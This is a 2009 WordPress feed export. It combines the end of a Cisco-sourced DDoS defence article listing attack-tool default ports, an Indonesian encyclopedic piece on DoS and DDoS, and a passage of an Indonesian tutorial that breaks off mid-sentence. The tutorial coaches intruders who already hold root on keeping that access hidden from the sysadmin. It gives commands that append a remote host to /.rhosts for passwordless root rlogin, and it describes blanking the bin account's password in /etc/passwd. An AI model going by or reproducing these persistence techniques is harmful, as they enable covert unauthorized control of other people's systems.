<p>Because an automated process is used, attackers can compromise and install the tool on a single host in under 5 seconds. In other words, several thousand hosts can be compromised in under an hour.</p>
<h2><a name="commonprograms">Characteristics of Common Programs Used to Facilitate Attacks</a></h2>
<p>The following are common programs that hackers use to facilitate distributed denial of services attacks:</p>
<ul>
<li>Trinoo
<p>Communication between clients, handlers and agents use the following ports:</p>
<blockquote>
<pre>1524 tcp
27665 tcp
27444 udp
31335 udp</pre>
</blockquote>
<p><strong>Note: </strong>The ports listed above are the <em>default</em> ports for this tool. Use these ports for orientation and example only, because the port numbers can easily be changed.</li>
<li>TFN
<p>Communication between clients, handlers and agents use ICMP ECHO and ICMP ECHO REPLY packets.</li>
<li>Stacheldraht
<p>Communication between clients, handlers and agents use the following ports:</p>
<blockquote>
<pre>16660 tcp
65000 tcp
ICMP ECHO
ICMP ECHO REPLY</pre>
</blockquote>
<p><strong>Note: </strong>The ports listed above are the default ports for this tool. Use these ports for orientation and example only, because the port numbers can easily be changed.</li>
<li>TFN2K
<p>Communication between clients, handlers and agents does not use any specific port (it may be supplied on run time or it will be chosen randomly by a program) but is a combination of UDP, ICMP and TCP packets.</p>
<p>For a detailed analysis of DDoS programs, read the following articles.</li>
</ul>
<p><strong>Note: </strong>The following links point to external web sites not maintained by Cisco Systems</p>
<p></span></p>
<p></span></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/soloteam.wordpress.com/67/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/soloteam.wordpress.com/67/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/soloteam.wordpress.com/67/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/soloteam.wordpress.com/67/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/soloteam.wordpress.com/67/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/soloteam.wordpress.com/67/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/soloteam.wordpress.com/67/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/soloteam.wordpress.com/67/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/soloteam.wordpress.com/67/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/soloteam.wordpress.com/67/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/soloteam.wordpress.com/67/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/soloteam.wordpress.com/67/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/soloteam.wordpress.com/67/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/soloteam.wordpress.com/67/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=67&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://soloteam.wordpress.com/2009/04/01/strategies-to-protect-against-distributed-denial-of-service-ddos-attacks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/7865a8bb4bc5119f626841e0f5ed8548?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">soloteam</media:title>
		</media:content>

		<media:content url="http://soloteam.files.wordpress.com/2009/04/ddos1.jpg?w=300" medium="image">
			<media:title type="html">ddos1</media:title>
		</media:content>
	</item>
		<item>
		<title>Serangan DoS</title>
		<link>http://soloteam.wordpress.com/2009/04/01/serangan-dos/</link>
		<comments>http://soloteam.wordpress.com/2009/04/01/serangan-dos/#comments</comments>
		<pubDate>Wed, 01 Apr 2009 18:42:29 +0000</pubDate>
		<dc:creator>soloteam</dc:creator>
				<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://soloteam.wordpress.com/?p=62</guid>
		<description><![CDATA[Serangan DoS (Inggris: denial-of-service attacks) adalah jenis serangan terhadap sebuah komputer atau server di dalam jaringan internet dengan cara menghabiskan sumber (resource) yang dimiliki oleh komputer tersebut sampai komputer tersebut tidak dapat menjalankan fungsinya dengan benar sehingga secara tidak langsung mencegah pengguna lain untuk memperoleh akses layanan dari komputer yang diserang tersebut. Dalam sebuah serangan [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=62&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Serangan DoS</strong> (<a title="Bahasa Inggris" href="http://id.wikipedia.org/wiki/Bahasa_Inggris">Inggris</a>: <em><strong>denial-of-service attacks</strong></em>) adalah jenis</p>
<div id="attachment_61" class="wp-caption alignright" style="width: 160px"><img class="size-thumbnail wp-image-61" title="200px-serangan-dos1" src="http://soloteam.files.wordpress.com/2009/04/200px-serangan-dos1.png?w=150&#038;h=44" alt="Serangan DoS sederhana yang menggunakan host penyerang yang lebih kuat dibandingkan dengan host target." width="150" height="44" /><p class="wp-caption-text">Serangan DoS sederhana yang menggunakan host penyerang yang lebih kuat dibandingkan dengan host target.</p></div>
<p>serangan terhadap sebuah <a title="Komputer" href="http://id.wikipedia.org/wiki/Komputer">komputer</a> atau <a class="mw-redirect" title="Server" href="http://id.wikipedia.org/wiki/Server">server</a> di dalam jaringan <a title="Internet" href="http://id.wikipedia.org/wiki/Internet">internet</a> dengan cara menghabiskan sumber (<em>resource</em>) yang dimiliki oleh komputer tersebut sampai komputer tersebut tidak dapat menjalankan fungsinya dengan benar sehingga secara tidak langsung mencegah pengguna lain untuk memperoleh akses layanan dari komputer yang diserang tersebut.</p>
<p>Dalam sebuah serangan <em>Denial of Service</em>, si penyerang akan mencoba untuk mencegah akses seorang pengguna terhadap sistem atau jaringan dengan menggunakan beberapa cara, yakni sebagai berikut:</p>
<ul>
<li>Membanjiri lalu lintas jaringan dengan banyak data sehingga lalu lintas jaringan yang datang dari pengguna yang terdaftar menjadi tidak dapat masuk ke dalam sistem jaringan. Teknik ini disebut sebagai <em>traffic flooding</em>.</li>
<li>Membanjiri jaringan dengan banyak request terhadap sebuah layanan jaringan yang disedakan oleh sebuah host sehingga request yang datang dari pengguna terdaftar tidak dapat dilayani oleh layanan tersebut. Teknik ini disebut sebagai <em>request flooding</em>.</li>
<li>Mengganggu komunikasi antara sebuah host dan kliennya yang terdaftar dengan menggunakan banyak cara, termasuk dengan mengubah informasi konfigurasi sistem atau bahkan perusakan fisik terhadap komponen dan server.</li>
</ul>
<p>Bentuk serangan Denial of Service awal adalah serangan <strong><a class="mw-redirect" title="SYN Flooding Attack" href="http://id.wikipedia.org/wiki/SYN_Flooding_Attack">SYN Flooding Attack</a></strong>, yang pertama kali muncul pada tahun <a title="1996" href="http://id.wikipedia.org/wiki/1996">1996</a> dan mengeksploitasi terhadap kelemahan yang terdapat di dalam protokol <a title="Transmission Control Protocol" href="http://id.wikipedia.org/wiki/Transmission_Control_Protocol">Transmission Control Protocol</a> (TCP). Serangan-serangan lainnya akhirnya dikembangkan untuk mengeksploitasi kelemahan yang terdapat di dalam <a title="Sistem operasi" href="http://id.wikipedia.org/wiki/Sistem_operasi">sistem operasi</a>, layanan jaringan atau aplikasi untuk menjadikan sistem, layanan jaringan, atau aplikasi tersebut tidak dapat melayani pengguna, atau bahkan mengalami <em>crash</em>. Beberapa tool yang digunakan untuk melakukan serangan DoS pun banyak dikembangkan setelah itu (bahkan beberapa tool dapat diperoleh secara bebas), termasuk di antaranya Bonk, LAND, Smurf, Snork, WinNuke, dan Teardrop.</p>
<p>Meskipun demikian, serangan terhadap TCP merupakan serangan DoS yang sering dilakukan. Hal ini disebabkan karena jenis serangan lainnya (seperti halnya memenuhi ruangan hard disk dalam sistem, mengunci salah seorang akun pengguna yang valid, atau memodifikasi tabel routing dalam sebuah router) membutuhkan penetrasi jaringan terlebih dahulu, yang kemungkinan penetrasinya kecil, apalagi jika sistem jaringan tersebut telah diperkuat.</p>
<h2><span class="mw-headline">Distributed Denial of Service</span></h2>
<p><strong>Distributed Denial of Service</strong> (DDoS) atau <strong>Penolakan Layanan</p>
<div id="attachment_63" class="wp-caption alignright" style="width: 145px"><strong><img class="size-thumbnail wp-image-63" title="200px-percobaan_dos-event2" src="http://soloteam.files.wordpress.com/2009/04/200px-percobaan_dos-event2.png?w=135&#038;h=150" alt="Percobaan serangan Denial of Service yang dilakukan terhadap sebuah host dengan sistem operasi Windows Server 2003 Service Pack 2 (Beta)." width="135" height="150" /></strong><p class="wp-caption-text">Percobaan serangan Denial of Service yang dilakukan terhadap sebuah host dengan sistem operasi Windows Server 2003 Service Pack 2 (Beta).</p></div>
<p>secara Terdistribusi</strong> adalah salah satu jenis serangan <a class="mw-redirect" title="Denial of Service" href="http://id.wikipedia.org/wiki/Denial_of_Service">Denial of Service</a> yang menggunakan banyak host penyerang (baik itu menggunakan komputer yang didedikasikan untuk melakukan penyerangan atau komputer yang &#8220;dipaksa&#8221; menjadi <em><a title="Zombie (DDoS)" href="http://id.wikipedia.org/wiki/Zombie_%28DDoS%29">zombie</a></em>) untuk menyerang satu buah host target di jaringan.</p>
<p>Serangan <a class="mw-redirect" title="Denial of Service" href="http://id.wikipedia.org/wiki/Denial_of_Service">Denial of Service</a> klasik bersifat &#8220;satu lawan satu&#8221;, sehingga dibutuhkan sebuah <em>host</em> yang kuat (baik itu dari kekuatan pemrosesan atau <a title="Sistem operasi" href="http://id.wikipedia.org/wiki/Sistem_operasi">sistem operasinya</a>) demi membanjiri lalu lintas host target sehingga mencegah klien yang valid untuk mengakses layanan jaringan pada server yang dijadikan target serangan. Serangan DDoS ini menggunakan teknik yang lebih canggih dibandingkan dengan serangan Denial of Service yang asli, yakni dengan meningkatkan serangan beberapa kali dengan menggunakan beberapa komputer sekaligus, sehingga dapat mengakibatkan server atau keseluruhan segmen jaringan dapat menjadi &#8220;tidak berguna&#8221; bagi klien.</p>
<div id="attachment_64" class="wp-caption alignright" style="width: 160px"><img class="size-thumbnail wp-image-64" title="200px-serangan-ddos3" src="http://soloteam.files.wordpress.com/2009/04/200px-serangan-ddos3.png?w=150&#038;h=87" alt="Cara kerja serangan Distributed Denial of Service sederhana" width="150" height="87" /><p class="wp-caption-text">Cara kerja serangan Distributed Denial of Service sederhana</p></div>
<p>Serangan DDoS pertama kali muncul pada tahun <a title="1999" href="http://id.wikipedia.org/wiki/1999">1999</a>, tiga tahun setelah serangan <a class="mw-redirect" title="Denial of Service" href="http://id.wikipedia.org/wiki/Denial_of_Service">Denial of Service</a> yang asli dengan menggunakan <a class="mw-redirect" title="SYN Flooding Attack" href="http://id.wikipedia.org/wiki/SYN_Flooding_Attack">serangan SYN Flooding</a>, yang mengakibatkan beberapa server web di Internet mengalami &#8220;downtime&#8221;. Pada awal <a title="Februari" href="http://id.wikipedia.org/wiki/Februari">Februari</a> <a title="2000" href="http://id.wikipedia.org/wiki/2000">2000</a>, sebuah serangan yang besar dilakukan sehingga beberapa situs web terkenal seperti <a title="Amazon.com" href="http://id.wikipedia.org/wiki/Amazon.com">Amazon</a>, <a title="CNN" href="http://id.wikipedia.org/wiki/CNN">CNN</a>, <a title="EBay" href="http://id.wikipedia.org/wiki/EBay">eBay</a>, dan <a title="Yahoo!" href="http://id.wikipedia.org/wiki/Yahoo%21">Yahoo!</a> mengalami &#8220;downtime&#8221; selama beberapa jam. Serangan yang lebih baru lagi pernah dilancarkan pada bulan <a title="Oktober" href="http://id.wikipedia.org/wiki/Oktober">Oktober</a> <a title="2002" href="http://id.wikipedia.org/wiki/2002">2002</a> ketika 9 dari 13 <a class="mw-redirect" title="DNS" href="http://id.wikipedia.org/wiki/DNS">root DNS Server</a> diserang dengan menggunakan DDoS yang sangat besar yang disebut dengan &#8220;<strong>Ping Flood</strong>&#8220;. Pada puncak serangan, beberapa server-server tersebut pada tiap detiknya mendapatkan lebih dari 150000 <em>request</em> paket <a class="mw-redirect" title="ICMP" href="http://id.wikipedia.org/wiki/ICMP">Internet Control Message Protocol (ICMP)</a>. Untungnya, karena serangan hanya dilakukan selama setengah jam saja, lalu lintas Internet pun tidak terlalu terpengaruh dengan serangan tersebut (setidaknya tidak semuanya mengalami kerusakan).</p>
<p>Tidak seperti akibatnya yang menjadikan kerumitan yang sangat tinggi (bagi para administrator jaringan dan server), teori dan praktek untuk melakukan serangan DDoS justru sederhana, yakni sebagai berikut:</p>
<p>1.Menjalankan tool yang secara otomatis akan memindai jaringan untuk menemukan host-host yang rentan (<em>vulnerable</em>) yang terkoneksi ke Internet. Setelah host yang rentan ditemukan, tool tersebut dapat menginstalasikan salah satu jenis dari <a class="new" title="Trojan Horse (halaman belum tersedia)" href="http://id.wikipedia.org/w/index.php?title=Trojan_Horse&amp;action=edit&amp;redlink=1">Trojan Horse</a> yang disebut sebagai <strong>DDoS Trojan</strong>, yang akan mengakibatkan host tersebut menjadi <em>zombie</em> yang dapat dikontrol secara jarak jauh oleh sebuah komputer master yang digunakan oleh si penyerang asli untuk melancarkan serangan. Beberapa tool yang digunakan untuk melakukan serangan serperti ini adalah TFN, TFN2K, Trinoo, dan Stacheldraht, yang dapat diperoleh secara bebas di <a title="Internet" href="http://id.wikipedia.org/wiki/Internet">Internet</a>.</p>
<p>2.Ketika si penyerang merasa telah mendapatkan jumlah host yang cukup (sebagai zombie) untuk melakukan penyerangan, penyerang akan menggunakan komputer master untuk memberikan sinyal penyerangan terhadap jaringan target atau host target. Serangan ini umumnya dilakukan dengan menggunakan beberapa bentuk <a class="mw-redirect" title="SYN Flooding Attack" href="http://id.wikipedia.org/wiki/SYN_Flooding_Attack">SYN Flood</a> atau skema serangan DoS yang sederhana, tapi karena dilakukan oleh banyak host zombie, maka jumlah lalu lintas jaringan yang diciptakan oleh mereka adalah sangat besar, sehingga &#8220;memakan habis&#8221; semua sumber daya <a title="Transmission Control Protocol" href="http://id.wikipedia.org/wiki/Transmission_Control_Protocol">Transmission Control Protocol</a> yang terdapat di dalam komputer atau jaringan target dan dapat mengakibatkan host atau jaringan tersebut mengalami &#8220;downtime&#8221;.</p>
<p>Hampir semua platform komputer dapat dibajak sebagai sebuah <em>zombie</em> untuk melakukan serangan seperti ini. Sistem-sistem populer, semacam <a class="mw-redirect" title="Solaris" href="http://id.wikipedia.org/wiki/Solaris">Solaris</a>, <a title="Linux" href="http://id.wikipedia.org/wiki/Linux">Linux</a>, <a title="Microsoft Windows" href="http://id.wikipedia.org/wiki/Microsoft_Windows">Microsoft Windows</a> dan beberapa varian <a class="mw-redirect" title="UNIX" href="http://id.wikipedia.org/wiki/UNIX">UNIX</a> dapat menjadi zombie, jika memang sistem tersebut atau aplikasi yang berjalan di atasnya memiliki kelemahan yang dieksploitasi oleh penyerang.</p>
<p>Beberapa contoh <strong>Serangan DoS</strong> lainnya adalah adalah:</p>
<ul>
<li><a class="new" title="Serangan Buffer Overflow (halaman belum tersedia)" href="http://id.wikipedia.org/w/index.php?title=Serangan_Buffer_Overflow&amp;action=edit&amp;redlink=1">Serangan Buffer Overflow</a>, mengirimkan data yang melebihi kapasitas sistim, misalnya paket ICMP yang berukuran sangat besar.</li>
<li><a class="mw-redirect" title="Serangan SYN" href="http://id.wikipedia.org/wiki/Serangan_SYN">Serangan SYN</a>, mengirimkan data TCP SYN dengan alamat palsu.</li>
<li><a class="new" title="Serangan Teardrop (halaman belum tersedia)" href="http://id.wikipedia.org/w/index.php?title=Serangan_Teardrop&amp;action=edit&amp;redlink=1">Serangan Teardrop</a>, mengirimkan paket IP dengan nilai <em>offset</em>yang membingungkan.</li>
<li><a title="Serangan Smurf" href="http://id.wikipedia.org/wiki/Serangan_Smurf">Serangan Smurf</a>, mengirimkan paket ICMP bervolume besar dengan alamat <em>host</em> lain.</li>
<li><a class="new" title="ICMP Flooding (halaman belum tersedia)" href="http://id.wikipedia.org/w/index.php?title=ICMP_Flooding&amp;action=edit&amp;redlink=1">ICMP Flooding</a></li>
</ul>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/soloteam.wordpress.com/62/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/soloteam.wordpress.com/62/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/soloteam.wordpress.com/62/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/soloteam.wordpress.com/62/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/soloteam.wordpress.com/62/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/soloteam.wordpress.com/62/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/soloteam.wordpress.com/62/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/soloteam.wordpress.com/62/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/soloteam.wordpress.com/62/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/soloteam.wordpress.com/62/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/soloteam.wordpress.com/62/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/soloteam.wordpress.com/62/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/soloteam.wordpress.com/62/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/soloteam.wordpress.com/62/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=62&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://soloteam.wordpress.com/2009/04/01/serangan-dos/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/7865a8bb4bc5119f626841e0f5ed8548?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">soloteam</media:title>
		</media:content>

		<media:content url="http://soloteam.files.wordpress.com/2009/04/200px-serangan-dos1.png?w=150" medium="image">
			<media:title type="html">200px-serangan-dos1</media:title>
		</media:content>

		<media:content url="http://soloteam.files.wordpress.com/2009/04/200px-percobaan_dos-event2.png?w=135" medium="image">
			<media:title type="html">200px-percobaan_dos-event2</media:title>
		</media:content>

		<media:content url="http://soloteam.files.wordpress.com/2009/04/200px-serangan-ddos3.png?w=150" medium="image">
			<media:title type="html">200px-serangan-ddos3</media:title>
		</media:content>
	</item>
		<item>
		<title>sekilas tentang Backdoor</title>
		<link>http://soloteam.wordpress.com/2009/04/01/sekilas-tentang-backdoor/</link>
		<comments>http://soloteam.wordpress.com/2009/04/01/sekilas-tentang-backdoor/#comments</comments>
		<pubDate>Wed, 01 Apr 2009 18:14:18 +0000</pubDate>
		<dc:creator>soloteam</dc:creator>
				<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://soloteam.wordpress.com/?p=57</guid>
		<description><![CDATA[Saya akan coba membahas sedikit tentang apa itu backdoor, bagaimana backdoor itu terjadi dan bagaimana cara menanganinya, saya juga tidak bosan-bosannya meminta kritik dan saran kepada rekan-rekan jika terjadi kesalahan dalam pelaksanaan teknik ini karena saya juga baru di bidang ini apalagi saya juga masih tergolong bocah ingusan yang tidak mengetahui apa-apa. Dan saya juga [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=57&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Saya akan coba membahas sedikit tentang apa itu backdoor, bagaimana backdoor itu terjadi dan bagaimana cara menanganinya, saya juga tidak bosan-bosannya meminta kritik dan saran kepada rekan-rekan jika terjadi kesalahan dalam pelaksanaan teknik ini karena saya juga baru di bidang ini apalagi saya juga masih tergolong bocah ingusan yang tidak mengetahui apa-apa. Dan saya juga mengucapkan terima kasih kepada teman-teman yang telah memberikan masukan kepada saya.</p>
<p>1. Eksploit</p>
<p>Sekarang tentunya kamu sudah asyik bermain-main dan bereksperimen dengan</p>
<p>shell UNIX baru yang baru kamu &#8216;dapatkan&#8217;. Dan mungkin sekarang kamu sudah</p>
<p>mulai bertanya-tanya, &#8220;apa sih eksploit (exploit, &#8216;sploits) itu?&#8221;. Dalam</p>
<p>konteks per-hacking-an, eksploit tidaklah jauh berbeda dengan artinya</p>
<p>dalam konteks harfiah, yaitu &#8216;pemanfaatan&#8217;. Tentunya eksploit-eksploit</p>
<p>&#8216;hacking&#8217; lebih spesifik lagi, yang kurang lebih bisa diartikan sebagai</p>
<p>&#8216;pemanfaatan kelemahan dari sebuah sistem untuk tujuan-tujuan yang diluar</p>
<p>dari penggunaan normal.&#8217; Kelemahan-kelemahan ini bisa berupa kesalahan</p>
<p>pemrograman, sesuatu yang tidak direncanakan oleh pemrogram asli, dan</p>
<p>lain-lain. Umumnya, yang jelas paling menarik perhatian kita, adalah</p>
<p>eksploit yang akan memberikan kita akses tidak terbatas ke seluruh aspek</p>
<p>dari sebuah sistem. Dalam UNIX, sering kita dengar istilah &#8216;mengeksploit</p>
<p>program anu untuk mendapat privilese root&#8217;. Tentu saja mendapatkan &#8216;root&#8217;</p>
<p>bukanlah satu-satunya tujuan pengeksploitan sistem. Seperti yang mungkin</p>
<p>anda sudah alami sendiri, kadang sebuah cacat dalam program seperti maild</p>
<p>atau ftpd bisa dimanfaatkan untuk tujuan &#8216;header forging&#8217;, &#8216;ip spoofing&#8217;,</p>
<p>&#8216;denial of service attack&#8217;, dan &#8216;mail bombing&#8217; (hello, Anton Pardede!).</p>
<p>Eksploit secara besar sering dibagi menjadi dua, yaitu eksploit lokal dan</p>
<p>eksploit remote. Eksploit lokal adalah jenis eksploit yang hanya bisa</p>
<p>dijalankan jika kamu sudah punya akses ke dalam suatu sistem (baik itu</p>
<p>melalui login telnet, ftp, dll). Eksploit jenis ini jumlahnya banyak,</p>
<p>sebab kamu sudah punya akses ke ribuan program yang berpotensi untuk</p>
<p>di-eksploit. Contoh &#8211; contoh dari eksploit jenis ini adalah buffer</p>
<p>overflow (i.e. mh di RedHat 5, SuperProbe, dll), race conditions (dimana</p>
<p>dua proses saling berlomba untuk menyelesaikan tugas masing-masing,</p>
<p>biasanya proses A disuruh untuk menjalankan suatu utilitas yang</p>
<p>membutuhkan privilese root temporer sementara proses B dirancang untuk</p>
<p>mencegat proses A sebelum proses A kembali statusnya ke privilese user</p>
<p>biasa, mengakibatkan di-spawn-nya shell beridentitas root &#8211; sering terjadi</p>
<p>di mesin-mesin IRIX dan SunOS.) Bagaimana caranya agar saya bisa</p>
<p>mendapatkan eksploit seperti ini? Tentu saja kamu bisa menghabiskan waktu</p>
<p>berjam-jam untuk mengutak-utik sebuah program sampai berhasil kamu jebol</p>
<p>(lebih baik dilakukan di kotak kamu sendiri), seperti para &#8216;elite&#8217;</p>
<p>lainnya. Biasanya eksploit diprogram dengan C, perl, atau sh. Namun kalau</p>
<p>ilmu kungfu kamu masih kayak kami (dan emang bawaannya malas), banyak</p>
<p>eksploit yang sudah didokumentasi dan tersedia melalui websearch, atau di</p>
<p>situs-situs tertentu, seperti:</p>
<p>http://www.rootshell.com</p>
<p>http://www.antionline.com</p>
<p>http://www.rhino9.com</p>
<p>http://www.dhp.com/~fyodor</p>
<p>atau di situs kecoak, http://k-elektronik.org/arsip/eksploit</p>
<p>Eksploit jenis satunya lagi adalah eksploit remote, dimana kamu bisa</p>
<p>mengeksploit sistem tanpa mengetahui otorisasi user/password. Tentu saja</p>
<p>eksploit-eksploit jenis ini jauh lebih sedikit jumlahnya, dan terkadang</p>
<p>dampaknya juga tidak separah eksploit lokal. Lubang cgi phf adalah salah</p>
<p>satu contoh dari pemanfaatan eksploit remote untuk mendapatkan file</p>
<p>/etc/passwd (dulu LithErr pernah memberi resep cepat memanfaatkan phf).</p>
<p>Mungkin belum terlihat fatal, namun sekalinya sang &#8216;cracker&#8217; berhasil</p>
<p>masuk ke dalam sistem memanfaatkan login dan password dari salah seorang</p>
<p>user, maka dia bisa menjalankan eksploit-eksploit lokal untuk mendapatkan</p>
<p>akses tak terbatas milik root. Eksploit port 143 (IMAPd) malahan lebih</p>
<p>gila lagi, dengan memberikan akses root tanpa password. Apa trik dan tip</p>
<p>yang kira-kira berguna untuk memanfaatkan eksploit-eksploit remote? Jelas</p>
<p>sebuah portscanner sangatlah bermanfaat untuk melihat port-port mana saja</p>
<p>yang menerima koneksi. Beberapa jenis &#8216;scanner&#8217; lebih terfokus lagi,</p>
<p>seperti cgi scanner dari kecoak (roachscan) yang saat dijalankan akan</p>
<p>memeriksa direktori cgi-bin dari sejumlah server sekaligus, mencari file</p>
<p>password atau jalan masuk lainnya, melalui beberapa jenis eksploit umum.</p>
<p>Satu program lain yang mungkin ada gunanya adalah &#8216;netcat&#8217;, bisa didapat</p>
<p>dari http://www.l0pht.com. Untuk menghemat waktu, banyak cracker yang</p>
<p>menulis skrip otomasi, jalankan skrip, tinggal berikan daftar</p>
<p>target-target dan tinggalkan untuk sementara waktu. Kembali lagi sejam</p>
<p>atau dua jam kemudian, tinggal diperiksa server-server mana saja yang ada</p>
<p>lobangnya, bisa dieksploit atau tidak, dll (coba lihat artikel-artikel</p>
<p>mengenai scanning/probing di situs-situs hacker).</p>
<p>Terkadang ada juga eksploit yang tidak begitu jelas jenisnya, seperti</p>
<p>eksploit lynx mailer, yang walaupun kodenya sendiri terletak di host lain,</p>
<p>namun untuk digunakan masih perlu campurtangan dari user lokal untuk bisa</p>
<p>bekerja (saat user meng-click sebuah link, sang eksploit akan mengirimkan</p>
<p>file password ke alamat email tertentu.)</p>
<p>2. Backdoor</p>
<p>Seperti terjemahan harfiahnya, backdoor bisa dianggap &#8216;pintu masuk lewat</p>
<p>belakang&#8217;. Backdoor berfungsi untuk memberikan sang programmer akses ke</p>
<p>suatu sistem, tanpa sepengetahuan user lain ataupun sang sysadmin. Tentu</p>
<p>saja sang programer di sini bisa juga diartikan &#8216;sang penyusup&#8217;.</p>
<p>Seringkali backdoor memberikan akses tak terbatas kepada siapapun juga</p>
<p>yang mengetahui jalan masuknya. Walaupun tidak jarang vendor-vendor besar</p>
<p>(baik hardware maupun software ) yang sengaja menempatkan backdoor tak</p>
<p>terdokumentasi untuk kemudahan &#8216;maintenance&#8217; dan sejenisnya, dalam artikel</p>
<p>ini yang dimaksud adalah backdoor dalam artian memberikan akses root ke</p>
<p>dalam sebuah sistem UNIX sebagai antisipasi jika sang sysadmin kebetulan</p>
<p>menyadari bahwa ada penyerang di dalam sistem.</p>
<p>Kamu sudah semalaman begadang, mencoba eksploit-eksploit remote, dan</p>
<p>berhasil masuk ke sebuah sistem dengan memanfaatkan login user dan segera</p>
<p>menjalankan eksploit-eksploit lokal untuk mengambil alih kekuasaan root.</p>
<p>Tentunya sayang jika saat sang sysadmin kembali bekerja di keesokan</p>
<p>harinya, akses kamu ditutup. Nah, disinilah manfaatnya kita menanam satu</p>
<p>atau lebih jalan masuk &#8216;alternatif&#8217;. Jelas, sebagian besar teknik-teknik</p>
<p>backdooring hanya bisa diterapkan jika kamu mempunyai perizinan root.</p>
<p>Ingat, bahwa tujuan membuat backdoor bukanlah untuk mendapatkan akses</p>
<p>root, tetapi untuk mendapatkan akses root LAGI setelah sang sysadmin</p>
<p>menutup segala jalan masuk normal. Terkadang sysadmin sering menganggap</p>
<p>selama file-file /etc/hosts.deny telah dikonfigurasi, maka segala koneksi</p>
<p>dari host kamu akan ditolak. Tentu saja kalian-kalian, sang cracker,</p>
<p>kelihaian kung fu nya jauh di atas sang sysadmin, sebab tanpa</p>
<p>sepengetahuan beliau, telah kamu set up beberapa jalan masuk alternatif</p>
<p>dengan privilese root.</p>
<p>Nah, backdoor backdoor ini ada yang memang sudah dari sononya (seperti</p>
<p>Backdoor di router-router, printserver, dll buatan 3Com), namun disini</p>
<p>akan kami jelaskan cara membuat backdoor kamu sendiri di sebuah sistem</p>
<p>UNIX. Jalan termudah (dan yang paling gampang ditangkap) adalah dengan</p>
<p>melalui file /.rhosts:</p>
<p>korban# echo &#8220;indohack2.ri.go.id ganjaman&#8221; &gt;&gt; /.rhosts</p>
<p>perintah diatas akan menambah satu entri di file .rhosts (sistem luar</p>
<p>-dalam contoh diatas user ganjaman dari indohack2.ri.go.id &#8211; yang boleh</p>
<p>mengakses account tanpa password), dan untuk masuk kembali ke sistem dari</p>
<p>account &#8220;ganjaman&#8221; di indohack2.ri.go.id :</p>
<p>ganjaman@indohack2&gt; rlogin -l root korban.lameisp.net.id</p>
<p>poof! shell root tanpa password!</p>
<p>Untuk kalian yang ingin sedikit lebih tersembunyi lagi, coba perhatikan</p>
<p>entri berikut dari file /etc/passwd sebuah sistem:</p>
<p>bin:*:3:7:Binaries Command and Source,,,:/bin:/bin/false</p>
<p>tentunya bagi mereka yang sering memanen password entri seperti di atas</p>
<p>sudah tidak asing lagi. Account diatas adalah account yang digunakan oleh</p>
<p>UNIX sistem secara internal. Seringkali banyak diantara crackers yang</p>
<p>mengambil jalan singkat dan menghapus karakter *, mengakibatkan telnet</p>
<p>dengan nama login &#8220;bin&#8221; tidak memerlukan password. Tapi ingatlah bahwa</p>
<p>file /etc/passwd biasanya adalah file pertama yang akan diperiksa oleh</p>
<p>sang sysadmin saat dia menyadari bahwa sistemnya telah kena susup. Agar</p>
<p>kita lebih sulit dideteksi, maka ada baiknya kita buat file .rhosts di</p>
<p>home directory milik bin. Kembali ke entri file password diatas, bisa kita</p>
<p>lihat bahwa walaupun kita bisa me- rlogin -l bin korban.lameisp.net.id,</p>
<p>namun kita masih juga tidak bisa mendapatkan shell sebab account &#8216;bin&#8217;</p>
<p>dikonfigurasikan untuk menolak penggunaan shell. Cara mengatasi masalah</p>
